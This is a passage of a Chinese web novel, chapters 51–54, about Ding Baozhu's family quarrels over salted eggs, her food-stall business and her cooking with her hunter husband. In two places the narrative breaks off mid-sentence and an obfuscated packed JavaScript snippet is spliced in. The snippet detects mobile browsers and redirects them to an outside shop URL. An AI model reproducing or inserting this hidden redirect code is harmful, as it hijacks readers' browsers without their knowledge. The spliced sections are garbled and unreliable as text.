“太好了,我就说,我和你三叔也不是看在你的面上才说那青团子好吃的,那味道就是不错啊,众人的眼睛都是雪亮的,众人的口味也是差不了多少的!” 丁宝珠笑道:“是啊,这我也没想到,但大家伙儿喜欢就成了,还有几天,我准备先过了再说!” 丁绍在那田地里搭的棚中干活,听闻丁宝姜也去帮忙了,所以屋里没其他的人在。而姚丹正在和丁宝珠称咸蛋谈价钱之时,却远远听见屋外门口有人喊道: “老三媳妇儿!你出来一趟——” 51. 怒怼蒋氏 姚丹听见这声音不禁皱了皱眉,口吻不悦道: “这是咋了,不是在大房里吗,又到我这来做啥?” 丁宝珠轻轻摇摇头说:“不管怎样,三婶你还是去瞧瞧比较好,谁知道她又想做什么了。” “我说大侄女儿,要不你先坐坐等会儿再走?不然你们一碰上......” 姚丹怎么也算是丁宝珠的长辈,看着她从小长到大的,所以她究竟和蒋氏有多少过节她也很知道,总而言之,这两人还是不要对上会比较好。 丁宝珠正想回答,却没想到那蒋氏一见没人搭理自己,就絮絮叨叨地直接进了门来,口中还不忘念道: “我说老三媳妇儿你咋回事,老三去干活了,你也忙到没边儿了?在做啥呢也不回我话——” 结果多走几步,蒋氏就见到了待在一块的姚丹和丁宝珠,不由得冷笑一声道: “我说咋不回答了,原来屋里藏着外人,老三媳妇儿,你心虚个啥?我又不会吃了她!” 姚丹见来不及,这两人已经撞上了,只好无奈问道: “娘,你来找我有啥事?” 蒋氏一看丁宝珠就想起以往的事情来,她向来把后者视作为眼中钉,并且从来没有拔出去过,所以当然也会无缘无故地发难。 不过丁宝珠如今已经不是丁家女而是别人家的媳妇,那夫家还是徐猎户,自从发现她与徐晔的关系也没想象的那么差后,蒋氏倒是也学乖了点,不和丁宝珠正面冲突,却把怒气都撒在了其他人身上。 她哼声道: “咋了,我没事就不能来找你了?我可不像有的人有事没事就回来,神神秘秘的也不知要做啥!” 姚丹不回复了,她觉得自己回答也是多嘴。蒋氏这才说明了自己的来意: “老三媳妇儿,笙儿和她娘回来了,咱得给他接接风,你多拿些咸蛋出来,晚上要用。” 姚丹差点就没当场翻起白眼来,先不说那自家腌的咸蛋都是要拿出去卖的,这考试结果八字还没一撇呢就要开始庆祝了?而且她笃定的是,这拿了一定是白拿,大房才不会出一分钱给她呢! 其实丁延也许不会那么想,可他只顾着种地,家里的钱都是吴棠把着的,而自己那个公公更是不干己事不张口的主儿,钱也是蒋氏管着的,所以她从中绝对得不到任何东西,还要白白奉上自己的咸蛋! 再说了,鸭子下蛋是要比鸡少些的,腌咸蛋还需要大量的盐,所以每一颗咸蛋都不是大风刮来的——你要说互相关系好点,她还能意思意思送几个尝尝,可既关系不好,蒋氏一开口又像是要许多,这让姚丹怎么愿意白送? 但是好在…… 姚丹心里飞速地拐过了山路十八弯,便如实说道: “娘,笙哥儿回来,又听说他这次考得不错,我这个做婶子的,的确应该一起庆祝庆祝。只是这不是不巧了么,我这里的咸蛋正好都卖完了,所以也拿不出来多的了,还得继续等着下蛋,还有再腌呢。” “啥?”蒋氏惊讶道,一双小眼睛里满是怀疑地上下扫了几下,才说,“老三媳妇儿,你可别觉得我老了就蒙我,你以为我不知道你家咸蛋还有几坛子呢?而且你家都是攒上很久的咸蛋才拿去卖的,咋会一下子就卖完了?你要是不想拿出来,那你就直说!” 直说?她还能直说么?那家里不得再闹腾一阵?姚丹心里嘟囔着,嘴上却说道: “娘,我还能骗你不成?不信你就去看看那坛子里,哪里还有咸蛋了?” 蒋氏依旧不相信,还真的想去后屋看那些坛子,然而只换了个角度,她就见到了一个竹篮子,里面放着一个个青色的咸蛋,登时横眉倒竖道: “这不是咸蛋?还说不是诓我?等老三回来,我肯定要对他讲讲,你这媳妇是咋当的?” 她说着,伸手就要去取,可丁宝珠却率先一步把那篮子提起来到身边,笑吟吟道: “不好意思啊奶奶,这些咸蛋是我买的,我已经交了钱的,就是我的东西,外人总不能拿去吧?” “啥?你买了?” 蒋氏看看丁宝珠,又看看姚丹,立刻想起昨日前者也过来是买东西的,没想到今天又来了,不禁阴下脸来,很不好看。 姚丹偷偷弯了弯唇,其实蒋氏说的也没错,她家就是攒着蛋腌了再去卖的,只是这一批才腌得差不多,就赶上丁宝珠要做吃食去卖,基本都卖给她了,恰巧今日她过来买,又把最后一部分给买去了,所以此时她是真的没有咸蛋了。 蒋氏就把眼神重新放到了丁宝珠身上,斜了她几眼,不满地咕哝道: “买那么多咸蛋做啥?也不怕齁死!” 可那么近的距离,丁宝珠又怎么可能听不见,哼声道: “这个就不劳烦奶奶担心了,我既然来买,自然就有我的用处。我和三婶还是正经买卖,总比什么都不给就非要东西的好吧?” 蒋氏如何听不出这是在说自己,当即甩了脸色气道: “你说的这是啥话?都是一家子,这家里啥东西我不能用?要点咸蛋又咋了,之后又不是就没有了,那养鸭子的棚用的还是老爷子手里的地呢!至于这么抠抠搜搜的,那还是一家子吗?!” 丁宝珠听后冷笑道: “说起抠抠搜搜,那我也有话要说了——我当时就用了一点放在灶房里的枣子,那比咸蛋不知便宜多少呢,怎么大婶婶就马上管我要钱了?如今笙哥儿不过是去考了试,那榜都还没放呢,要是庆祝了结果没考上,三婶辛苦腌的咸蛋不就打水漂了?” “呸呸呸,你这说的是啥话?”蒋氏立刻吐了几口,大骂道,“你这小蹄子,是诚心咒你弟弟考不上?你身为姐姐,还是长姐,买了这些咸蛋又怎的?就是拿几个出来给你弟弟都不为过!” 看来丁笙就是蒋氏的逆鳞,而丁宝珠的前半句话她竟是半点也不答。 丁宝珠啐了一口道: “得了吧,这几天我不过是回个娘家来办点事,哪次你不在旁边一直唠叨?嫁出去的女儿泼出去的水,这不就是你想的吗?我现在是徐家的媳妇,又哪来的弟弟?我又为何要管他的事?这些咸蛋我全款买了,那就是我的东西,谁也拿不走!” “你!——” “发生啥了?” 姚丹差点就要挡上去了,就怕蒋氏和丁宝珠动起手来,毕竟一个最会撒泼打滚,一个脾气爆又有力气,这要是动上手了,对两方都不好。 庆幸就在这时候,门口又来了人,原来是吴棠和丁笙来了,毕竟今晚大房的人是主角。 这两人的面上略显得春风得意,比真正的春风看着还要适意,可一见到丁宝珠就变了脸色,但仍是向蒋氏问道: “娘,出了啥事?你不是找三妹来要咸蛋吗?我还想着给笙儿补补身子呢!” 蒋氏气得花枝乱颤,像是找到了队友,指着丁宝珠就愤愤道: “你还不好好问问你侄女儿?真不知道老二媳妇咋教的女儿,一点礼貌也不懂,把三房的咸蛋全都拿走了!你还想着补身子?补个屁!她还咒咱家笙儿考不好呢!” 丁宝珠听她又扯上了柳萍,板起脸冷声道: “我娘怎么教的我?她教我想要得到,就得付出,而不是在那吃白食!别说这里了,你去外面问问也是这个道理!现在真是奇怪,遵守道理的人不好,不守道理的倒是有底气,今儿我就拿走这些咸蛋了,怎样?!” 丁宝珠说完,护好那篮咸蛋就往门口走,她长得高又有体格,直接就把蒋氏、吴棠和丁笙都给挤开了,再拿了那扁担,头也不回地一溜烟就离开了丁家,把跟着就出来的蒋氏的骂语全部留到了身后。 蒋氏捂着胸口喘着气,吴棠和丁笙黑着脸也出了屋子,姚丹就顺势把门关上了,眼不见心不烦。 蒋氏接着吐了口唾沫在地上,咬着牙道: “买了那么多咸蛋去吃,齁死她算数,以后也别来家里了!” 得知几分情况的吴棠也不满道: “她明知道笙儿最近要回来,特意赶在这时候把那些咸蛋都买走了,还咒笙儿考不过,简直就是狼心狗肺!娘,你甭理她,不就是咸蛋吗?没了我们照样有别的吃的!真不知道她要那么多咸蛋干啥去!” 丁笙这时忽然噘着嘴道: “还能干什么,我看她是用那些咸蛋做吃食拿去村外卖了!” 蒋氏和吴棠均是一愣,转头问道: “啥,她真去做买卖了?” 丁笙点点头道: “是啊奶奶,我亲眼见到她在村外道儿上卖过东西,我村塾里的同窗还去她摊子上买过吃的,都说好吃呢!但依我看,她也做不长久,哪有夫家同意自家媳妇天天外出的?奶奶,娘,你们也别气了,到时候我们就看她砸在手里就行了!” 丁笙这一段话有些安慰的意味,蒋氏平复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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难不成是那生意不好?李银屏心里想着,不过她从来就没觉得丁宝珠的买卖能做开。 可这个时候她也明白还是不说话的好,也就撇着眼,继续去浣衣。 徐芝此时转移话题道: “大嫂,这次我们去扫坟,还见到有人出来踏青,都在吃艾团子呢。我们那邻居有一家人也吃,但是那艾青团的馅料很奇特,你猜是啥馅儿的?” 丁宝珠听到青团话题,便问道: “是什么馅儿?” “我没吃到,只是听那人家说,里面有蛋黄,还有肉!艾团子里竟然包蛋黄和肉,我从来没吃过!” 徐莹顺着话题道: “听说那叫做、叫做……哦,肉珑松!而且那青团子一个要八文钱呢!” 李银屏啧啧作声道: “青团子有啥稀奇的,每年不都吃一回?八文钱买啥不好,偏偏去买一个青团子,也不知道那些人是咋想的,有钱没处使了都!” 几个村子近乎都是互通的,谁知竟然那么巧,回到娘家村里的李银屏和徐莹徐芝都知道她做的新青团了。 徐莹摇头道:“娘,你也别那么讲,万一那青团真的很好吃呢?邻家大叔不也说好吃吗?” “对啊对啊。”徐芝也附和着,“虽然馅料听着奇怪了些,可是又包肉又包鸡子黄的,咋能不好吃?” “行了行了,两个小姑娘这么嘴馋做啥?反正今年你们也是吃过那艾青团了,别老是吵着要吃!” 李银屏摆摆手,甩了一甩,又看向丁宝珠吩咐道: “晔儿媳妇,你也别站在那儿了,快去准备饭食吧……嗳你等等,你那手里头是个啥?” 既然被看见了,丁宝珠也不好继续藏着掖着,说道: “我去买了些咸蛋回来。” “好端端的买啥咸蛋?咸蛋比平常蛋要贵呢,还不如买些鸡子鸭蛋,这时节最适合买鸭蛋,鸭蛋会便宜些。” 李银屏啰嗦着,脸上貌似还有一种心疼的神情,仿佛花的是她的钱一样。 丁宝珠淡然道:“姨母,那鸭蛋腌一腌不就是咸蛋了?再说我买来也是最近有用处才买的,平常我哪里有买过?” 有用处? 李银屏看着丁宝珠的背影去了灶房,又想起那口味奇异的青团子。 莫非…… 那是她做的? 毕竟她今天回到家一看,那灶房简直变了个样子,到处都是多出来的先前家里不会有的东西,她倒是先无视了,不然要是碰了,还不知道这儿媳妇会怎么发作呢。 只是这么想着,她的心里忽然一颤,那一个青团要卖八文钱,如果真的有得卖,岂不是要赚? 没料到她还真有一把刷子! 52. 龙凤羹 李银屏心里正咕哝着,就在这时,黑虎矫健的身姿从门口窜了进来,顺道回了自己的窝里,继而徐晔也背着筐子走了进来,见到前者后怔了下,问: “姨母,您回来了?” “是啊,那边没啥事后,就领你妹子回来了。”李银屏看着徐晔,问道,“晔儿,你上山去了?没和你爹下地去?” 徐晔简单回答道:“咱家的地都收拾得差不多了,爹说他自己能干,我就上山去了。” “那行,这时回来也刚好,一会儿好吃午食,再给你爹送去。” 徐晔应了一声,就拿着筐子进了灶房。丁宝珠坐在灶台边低头在择菜,抬眼见到他,笑道: “你回来了?还没到吃午食的时候呢。” “不急,我去山上找了些东西回来,你看看能不能做了。”徐晔展示着自己的筐子,又道,“还有,我发现了不少艾草,所以也给你采回来了。” “太好了,就算之后不做艾青团了,这些艾草也是有用的,所以要趁着还在长的时候多多采集呢。” 丁宝珠高兴道。她又往筐子里瞧,里面躺着几条已经去了头的蛇尸,还有几只鸟儿,都是捕捉和打下来的,她几乎一看到这两种食材,心里就想到了如何料理,就挑出了那些鸟儿,又取出一条蛇来,说道: “今天姨母和妹妹们都回来了,适合吃大锅菜,就好好炖一锅也就行了。” 徐晔问:“蛇和鸟?这俩咋炖菜?” 丁宝珠神秘一笑道: “你不懂,这叫做低配版的‘龙凤羹’!” “……亏你想得出来。”徐晔摇了摇头,又嘱咐道,“记得把蛇上的脂油给剔下来。” “放心吧,我明白。” 说完后,徐晔就离开了灶房,全权由丁宝珠去做。 丁宝珠则是给那鸟儿去了毛和内脏,又把蛇剥了皮除了脂油拿去蛇胆,两者又用调料腌制了会儿,便找出了一个大碗,那蛇盘旋着放在碗底,上面置着腌鸟,各个都固定好了,再整体放入了锅中。 她又去寻了一根粗实的硬木柴,这种柴能烧上起码半个时辰,那火势还大,点燃灶膛盖上锅盖,就是猛火慢炖了,只烧了一刻钟,那热腾腾的香味便弥漫在了整个灶房内,更是慢慢飘去了室外。 再快速炒了盘菜和蒸了饭,这一顿午食也就完成了。那碗低配版的龙凤羹出锅后,丁宝珠又在里面添了些盐巴和料酒,这属于是清炖菜色,不多要其他味道来覆盖,独独感受那股新鲜且鲜美的原味。 吃过午食,李银屏装了一份去地里给徐翊送饭,而丁宝珠继续窝在灶房里做要卖的青团。徐晔这时也在灶房里,默默地在给蛇尸剥皮,取下那蛇胆和蛇脂,一会儿还要熬油。 丁宝珠忽然觉得自己和徐晔的关系,那当然是不能用夫妻来形容的,但此刻也有一种奇异的氛围,就像是—— 唔……室友? 不过她也不讨厌就是了,甚至还有些习惯。 丁宝珠手上利落地包着青团,看见那被剥下的蛇皮,便问道: “徐晔,这蛇皮你还要用吗?” 作为猎户,手里打的猎物一定要获得最大化的利益后才会放弃。徐晔缓缓剥下整张蛇皮,却是反问道: “咋了,你又有啥主意?” 丁宝珠捂唇笑道:“要说这蛇皮,其实也能做了吃,最简单的就是和鸡子炒哦。” 徐晔越听越皱眉,像是已经起了一身鸡皮疙瘩似地不快道:“这是啥菜?不会是你胡诌的吧?再说我们家又不是真没东西吃,吃这干啥?” “那好好的这些皮,也不能浪费了。”丁宝珠思量了下,又说,“我记得蛇皮和蛇胆一样也是有药性的,可以煎成汤药,也可以做成药膳,咱们就先把这些给晒干了,到时候一并拿出去,先找邱大夫看看,他不要再拿去镇上试试卖。” “行,但要先凑到一罐子蛇油再说。” 做好了青团,丁宝珠就接着与酒酿和饴糖一起拿出去卖。她这咸蛋黄肉珑松青团的名号算是打出去了,而且附近同样卖青团的摊子都是没有这款的。可就算知道了丁宝珠的名头,怕也是轻易复刻不了,毕竟原料里又要咸蛋黄又要肉,有的贩子想要卖,也得心里先斟酌一番,况且清明也很快要结束了。 但丁宝珠偶尔也会招待一些异样的客人,单刀直入地就指名要那蛋黄肉松青团不说,还有意无意地往她筐子里瞅,仿佛非要看出什么门道一般。 于是丁宝珠想着,他们也许是在其他位置上的同行,指不定是有些行人去那些摊子上询问有没有那馅料的了,久而久之就多了几分好奇,也就顺势过来看看。 既然如此,丁宝珠当然是选择卖了,反正钱是她赚的,纵使有人尝出了馅料的做法,这一次清明之争已经结束了,除非他们再做出创新推出新吃食——可其实每个人能做出的味道都是不同的。 这几日是细雨如丝压玉尘,让那柔韧多姿的柳条舞姿婆娑,而下过了这阵春雨,那温度就升上了点。丁宝珠卖青团赚了钱,就准备做些新的吃食再出去卖了。 只是在这之前,她仍旧是卖凉糕,特别是那抹茶红豆馅儿的凉糕,就连徐晔也喜欢吃。 为此她特意找了空档上山一趟,平日里都是徐晔带着黑虎去捕蛇抓鸟,这回她也跟着去。 就是有一段日子没爬山了,丁宝珠呼哧呼哧喘了几口气,总算是没落到太后面。 这个季节倒是还能找到笋子,而笋子能够做许多好吃的,所以只要发现,丁宝珠就毫不犹豫地全部收入筐中。 尤其是下过雨后,某些特定的环境里又生长出了不少菌菇,她也一并采摘,只可惜在那后她再也没有见到过羊肚菌,还是一些比较细松平常的菌菇。 徐晔见她采集得兴致勃勃,嘱咐几句后就和黑虎去捕蛇了。 丁宝珠背着已有了点重量的筐子暂时与徐晔分开走,手里还拿着一根长长的树枝拨弄着脚边齐踝的杂草,如今气温上升,还真有可能从窠子里窜出蛇来,要是草蛇也就算了,要是毒蛇,这里可没有什么血清能治。 地上要注意,她也时不时就往上方看去,毕竟有些能吃的东西也是可以长在树梢的。 果然没过多久,她就发现有棵树上长着不一样的枝条,那细细的枝条不同于柳树,上面生着嫩绿色的圆圆的叶片,活像是一串串铜钱似的,随着清风摇摆着。 丁宝珠眼前一亮,这不是榆钱儿么?那可是好东西啊! 她连忙放下筐子,挽起袖口就开始爬树,把那一根根榆钱都采摘下来,一捆捆地扔去下方的筐子里,不一会儿就收集了满满一筐。 就在这时,黑虎的身影出现在了筐子旁边,又跟着抬头朝着丁宝珠叫了几声。狗狗向来鼻子灵敏,所以即使她和徐晔走得比较远了,到最后也还是能够找到。 徐晔一手拿着一根像是自制的蛇叉子,一手拿着一根粗细有度的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566500|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木棍子,往树上看了眼,喊道: “我说你小心点,别摔了!” “知道了,我有数!” 丁宝珠应了句,小心翼翼地下了树,还好这树并不算高。 筐子收拾好了,她又背了上来,突然问道: “徐晔,这山上你知不知道哪里种着松树?” “松树?那要去再高点的地方了。”徐晔疑惑,“家里还有柴,也用不着补,你找那做啥?” 虽说市上也有卖柴的,但每当家里没有柴了,仍是会选择去自己捡,偶尔还会去砍树,不过这些大多数也是徐晔去干的,他有更多的力气。 “你带我去就成了,我想找个东西,看看有没有。”丁宝珠回答道。 徐晔狐疑地睃了她一眼,到底是带她去了,这里没找到什么蛇,换个地点或许能有。 果然在高处的地界,丁宝珠见到了那一棵棵常青松,而这个时节里,那松树上已经开出了一簇簇浅黄色的球花,那正是她想要寻找的! 丁宝珠乐不可支,上前去采那松球花,连带着那松针和松塔都是摘了一批。徐晔见她这兴致盎然的模样,一时也没去找蛇,只是问道: “难道这三种东西,都能做吃的?” “这倒不是。”丁宝珠一一指着解释道,“主要还是这松花和松针,至于那松塔,是可以用来烧火的,正好我们来了,就都拿些回去存着,也省得过几天又要去捡柴了。” 徐晔哼声道:“还是你鬼主意多。” 但不管怎样,丁宝珠依旧是采了许多材料,只把那筐子装到潽出了尖儿,她还嫌不够,正好徐晔的筐子里还很空,后者无奈,只能让出了自己的空档让她多装一点。 不过也是比较好奇那究竟能做出什么吃食的缘故。 丁宝珠见自己找得差不多了,和徐晔商量了下,后者想再去捕蛇,所以就决定自己先回家。 好在那徐家就住在山脚下,她只要下了山,不远就能见到屋顶了。 推开门一瞧,那李银屏和徐莹徐芝也在院里忙着,地上铺着一大片深绿色的野菜。 “咦,大嫂回来啦?”俩姐妹一看到丁宝珠就喊了出来。 丁宝珠点点头,问道: “这些野菜是……?” “今天我们和娘外出挖野菜去了,好多婶子也一起去呢。”徐芝说道。 “那正好,我和徐晔上山也找到了不少,看来也足够我们一家子吃上一段时日了。” 丁宝珠一边说着,一边放下筐子,就将那些笋子蘑菇给取了出来。 李银屏瞅了一眼,用指甲掐去野菜上面细小的花骨朵,说: “这些菜再不吃就开花了,所以要先吃这些,你那些晚点吃也行。” “好,那我就去处理一下,这样放的时间能更长。” 她也不多说什么,重新拿着东西回了灶房。徐莹望着她的背影消失,这才道: “娘,你看大嫂也是听你的话嘛,你何必老是对她咄咄逼人的,以后都少说几句吧。” 李银屏甩了甩手,把那些花骨朵都扔了,哼声道: “都说小姑子亲大嫂,咋了,她才来多久,又给你啥好处了,你这么向着她?——我逼她?她是新媳妇,我不逼她,她将来反过头辖制我了咋整?你个小姑娘家家的,毛都没长齐,少掺和进这种事来。” 徐莹听完,红着脸一声不发,只好低头继续做活了。 53. 榆钱粥 丁宝珠进了灶房后,就准备开始做吃食了。只是既然已经决定了菜色,她采来的那些蘑菇和笋子就一时用不上了,所以她想着将这些晒成干菜,不仅保存的日子能长,这几天的日头也好,很快就能晒干了。 但是她采摘回来的榆钱却能立刻做,只是有了野菜,丁宝珠预备拿来煮粥喝。至于荤食,这段日子徐晔几乎天天都上山去捕蛇,用到的又是那蛇胆蛇皮和蛇脂,所以那蛇肉也就留了下来,家里也就经常吃。好在丁宝珠能变着花样做,也不算腻,而且连徐莹都不怕去吃蛇肉了。 不过她想着也不能这样单调,所以偶尔会去姚丹那买些鸡子回来,反正她现在手里有钱,也不需要全部攒着,更不想有福不享。 而见家里的条件似乎真的有些提升,李银屏也没有起初那么气势汹汹了,但仍旧会阴恻恻地刺几句,可对于丁宝珠来说也是无关痛痒,无视也就过了。 切了把野葱和蒜苗炒香再加水添米煮粥,直煮到粒粒开花咕嘟咕嘟作响,灶膛里还有丁宝珠摘来的松塔在烧,不但有那米香,甚至夹杂着一丝淡淡的松香。她开了锅盖,又撒了几把洗净的榆钱和调料接着煮,简单的榆钱粥就做好了。 而榆钱也能生吃,丁宝珠又凉拌了一盘,里面放着盐酱醋和葱花,再用李银屏择好的野菜和咸肉炒了,一顿香喷喷的饭食就完成了。 家里当前都是女眷,摆个小桌子就能吃,徐莹徐芝吹了吹升腾的热气,把表面的粥皮给搅开,小心喝了一口,不禁赞叹道: “这粥实在是太香了!” 粥是又滑又润,这倒是没什么奇怪,只是在这之间还裹着一股特殊的清香,爽口美味。 丁宝珠笑道:“今天上山,我看到那榆钱都长出来了,就多摘了点,你们喜欢就好,还有那凉拌的,你们也尝尝。” 李银屏舀着那粥却哼了一声道: “用了那么多米,能不好喝吗?” 平常徐家喝粥,都只是为了解渴和顺食,里面本就没多少粒米,而是个人也尝得出来,这粥里除了糙米,还放了精米。 丁宝珠怎么听不出李银屏的意思,就也喝了一口,不以为然道: “又不是全部都精米,再说我们家现在又不是吃不起,省着那几口做什么?也不是天天吃。” “不当家不知柴米贵,你现在和晔儿都成家了,心里也没个数?”李银屏见她顶嘴,便责怪道,“别以为你现下去外面做买卖有钱赚了,尾巴就翘得比天还要高了,你挣来的钱不还是晔儿的钱?吃的还不是家里的饭?少用那赚钱来压我!” 徐莹见两人又开始争吵,却已经是无力阻止,只好带着徐芝继续吃饭。 丁宝珠冷笑道:“那姨母可得好好去问问你的晔儿,他管不管家,又管不管钱?再者一会儿去给爹送饭,看他是喜欢吃现在的饭食还是以前的?我现在挣钱能让家里过得好点,难道还成不是了?” 李银屏顿了顿,不知想起了什么,颇有些气急败坏地开口道:“得了吧,我们家里莫非还能少你那几文几十文的?你天天跑到外头去抛头露面的我都没说你,谁知道你有没有招惹啥不清不楚的……” “你们在讲啥呢?” 话音未落,有人推门进来,几人回头看去,原来是扛着农具的徐翊回来了。 李银屏赶忙站起身前去帮手,不由得埋怨道: “没啥,就是我说了媳妇几句,她不满意,就顶了我几句——当家的,你今天咋那么早就回来了?” 丁宝珠听后反而笑了笑,这李银屏倒成了恶人先告状了,继而只是不理,一味地吃着菜。 徐翊仿佛并没有听进去,只是放下农具劝道: “各自少说两句就是了,家里和睦些不好?今天地里没那么多事,我就提前回来了,想着吃饭,结果你们还要生事,像啥话?” 李银屏见徐翊似乎有意偏袒,便不悦地撇撇嘴,更是偏头瞪了丁宝珠一眼,只是后者只顾着埋头吃,倒是没发现。 李银屏生着闷气,却只能去为徐翊盛了粥来。徐翊吹凉了粥喝了口,不明所以地夸赞道: “今天这粥熬得真不错,怕又是晔儿媳妇做的吧?” 丁宝珠有意无意地笑道:“爹喜欢就好,只是我放米多了点,下次不会这样了。” 徐翊疑问道:“放米多了?我吃着正好啊,这煮粥不放米还放啥?” 李银屏的脸色不好看起来,这丁宝珠之前不言一语,合着就等着公公呢?果然是个不安分的! 徐翊好像感受到了什么,两边都瞧了瞧,只好转移话题道: “过段日子镇上就要开市了,到时候不如我们都去看看?” 听到要开市集,丁宝珠眼前一亮,这还是她穿越以来头一回遇到这种活动呢——况且那时镇上的人肯定要比平常多,不就是一个做买卖的好时机? 然而她还没有出声,旁边的徐莹徐芝却是已经叽叽喳喳地说话了: “爹,这是真的吗?那我们想去镇上玩玩!” “我要吃糖果子和棉花糕!” 大概没有一个孩子能抵抗得住赶市的快乐,在那人山人海的街道上拥有着许多素日里不太能见到的吃喝玩乐,何况她们还不怎么能去镇上,自然摒不住吵着要去了。 徐翊笑道:“当然是真的,去年这时候不就开了?你们可没少去玩,正好咱家还可以去采买些东西回来。” 李银屏攥着筷子没好气道:“你们这么兴奋地嚷嚷啥?要我说你们能干的好大嫂,这些日子赚到钱了,早把家里该买的都买回来了,我们还特意去镇上赶市做啥?人多又麻烦的!” 丁宝珠听罢蹙眉,这李银屏,今天就非得给自己扣一顶大帽子了?这不明显是在挑拨离间? 毕竟儿媳妇嫁过来,在某些人眼里依然属于是外人,怂恿小姑子小舅子来一同为难的,在这里可不在少数,至少丁宝珠是从柳萍那听过这种八卦的——连她都能嘴几句,显然这个情况是很常见的。 好在徐翊、徐莹和徐芝,要么是没应下,要么干脆是没有听懂,前者道: “镇上好不容易开个市集,要是不买东西,就是去玩玩又怎的?莹儿芝儿也能去瞧瞧,不然整天闷在家里。” 徐芝嘿嘿笑道:“还是爹对我最好了!” 李银屏半黑着脸不答话了,可徐翊都发了话,她也不好再反驳了,她不过是气家里人好像各个都偏向丁宝珠,难道他们都忘了她之前在村里是个什么风评了?只是磕破了头,就能改邪归正?她可不信那个邪! 徐翊摸着徐芝的脑袋,又对在沉思着的丁宝珠说道: “晔儿媳妇也一直忙到现在,不如那日也一起去镇上——对了,晔儿呢?” 丁宝珠回过神来回答: “他应该还在山上,让我先回来,我就先回来做饭了。” 徐晔从留头时就开始摸徐翊的弓箭了,又因为捕猎可不单单是指那些豺狼虎豹,所以家里自制的工具也很多,加上又有黑虎在,徐晔一个人上山只要不去什么深山老林,徐翊还是不怎么担心的。 他点点头道: “行,到时候等他回来,你和他也说一声,这小子天天闷声不响的,该去人多的地方走动走动才是。” 吃过午饭,一家子人准备都去午休了,丁宝珠也说了声就回屋,只是她在白天从来是睡不着的,何况徐晔没回来,那大门也是紧闭,她便轻手轻脚地去了灶房,也好等人回来。 打开一个干燥的小坛子,里面放着她最先做出来的酒曲。如今是最适合喝新酒的时节,所以丁宝珠一直在酿着酒,中间甚至还去溪边寻找补充着蓼草来继续做酒曲。但因为她上次用那蓼 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松花起码要晒上几天,那颜色微微变化为白色后才算晒好,之后才能取那花粉做吃食。掐指一算,应该可以赶上带去镇上市集里售卖。 这件事也急不得,而那松花开放还有期限,只有这一季,所以丁宝珠依然要上山去多采点松球花回来,并且先做要在村外卖的吃食。 除开凉糕,她想着再做种节令前后适合卖的,而且要用到酒曲的吃食——酒酿糕饼。 抹茶红豆馅儿的凉糕虽是吸引了一批熟客,但总不会次次都来买,丁宝珠还是要出新品来抓紧那些熟客的胃口的,到底来说还得是有一片固定落脚点最好,无论是只有几张桌椅的铺子还是一家店。 嗯……先努力挣钱吧! 比起其他家的媳妇儿,徐家对她或许可以说是很宽容了,不知是家里本身就没什么太严格的规矩,还是徐晔对自己压根无感,就没把她看做是自己的媳妇,自然不大管了,反倒是给了她部分自由。 那酒酿饼需要揉面,所以丁宝珠上次才买了面粉回来。虽然她也是长在主食米的地方,可作为美食博主哪能不会揉面?实际上和其他饼子比起来,酒酿饼的区别自然是在那酒酿上。 而那酒酿糕,也是用米粉和酒酿调和成团再做的,只是和凉糕比较,后者放凉了也能入口下肚,不然怎么叫做凉糕?但这酒酿饼和酒酿糕却是要热乎乎吃好,冷了那口味就变了。 于是丁宝珠预备弄好一个个面团,然后正好发酵一夜,等明日起早上锅蒸,再把新鲜出炉的拿出去卖。 酒酿饼除了有素饼,还有带馅儿的,炒馅料对于她来讲已经是驾轻就熟了,也可以提前炒好。 这一个下午丁宝珠都在做着糕饼,顺带还做了晚食,只是这回她用榆钱和干木耳一起炒了房梁上挂着的肉干,又因着一直在鼓捣面粉,她也做了榆钱蒸菜,和上次的蒸树穗一样是在表面撒了面粉,等蒸得嫩嫩的熟了之后,再调了酱醋、香油和蒜泥拌了。 可没曾想等她做好了饭,屋外就连桌椅都摆好了,徐晔竟然还没回来,连懂得回家路径的黑虎也没有踪影。 这下连徐翊也皱起眉来,虽说这么多年来没怎么发生过这种事,但进山总是有点隐藏的危险的,忖量过后,他还是决定拿着工具去找徐晔。 好在才把工具握在手里,家里的大门就打开了,徐晔带着黑虎沉着脸走了进来。一见院子里几人都在,还齐齐望向了自己,就明白发生了什么,紧忙说道: “爹,姨母,我没事。” 徐翊松了口气,重新把工具放下,叹道: “回来就好,你媳妇已经把饭做好了,收拾下就过来吃吧。” 徐晔应了一声就回了屋,丁宝珠想了想,也跟着进去了。 54. 小猎户的力气 徐晔吹了句口哨,黑虎就乖乖地等在门口,丁宝珠见他放下了筐子,便轻声问道: “今天怎么晚回来了?是有什么耽误了吗?” 徐晔身上的衣物显得少许皱巴巴的,发髻也有些纷乱,脸上倒是不脏,看起来就像是和什么猎物搏斗过似的——难道他真的去深山了? 徐晔抬手抹了抹鼻头,闷声道: “没啥,还是抓蛇,就是遇到了一条白花蛇,多费了点时辰,回来就晚了。” 丁宝珠脸色一变,连忙问道: “那你没事吧?有没有被咬到?” 就徐晔这闷葫芦的性子,她很难不怀疑他会自我消化,对谁都隐瞒下来,可对于蛇毒,这里又没有什么特效药,真被咬一口了那可不是闹着玩的。 “放心吧,我拿了蛇叉和打蛇棍,蛇近不了我的身,顶多是多费劲而已。”徐晔说着,看起来也的确不像中了毒的模样。他又瞥了丁宝珠一眼,问,“你这么紧张做啥?” 丁宝珠顿了顿,才嘁了一声道: “我哪里紧张了,我是怕我自己嫁进来没多久就守了寡,那我多亏?” 徐晔上下端详了她那副鲜少的讪讪的神气,不自觉勾出浅浅笑意,却只是说道: “我换件衣裳,你先出去。” 丁宝珠反而有种巴不得早点出去的感觉,也就关门离去。 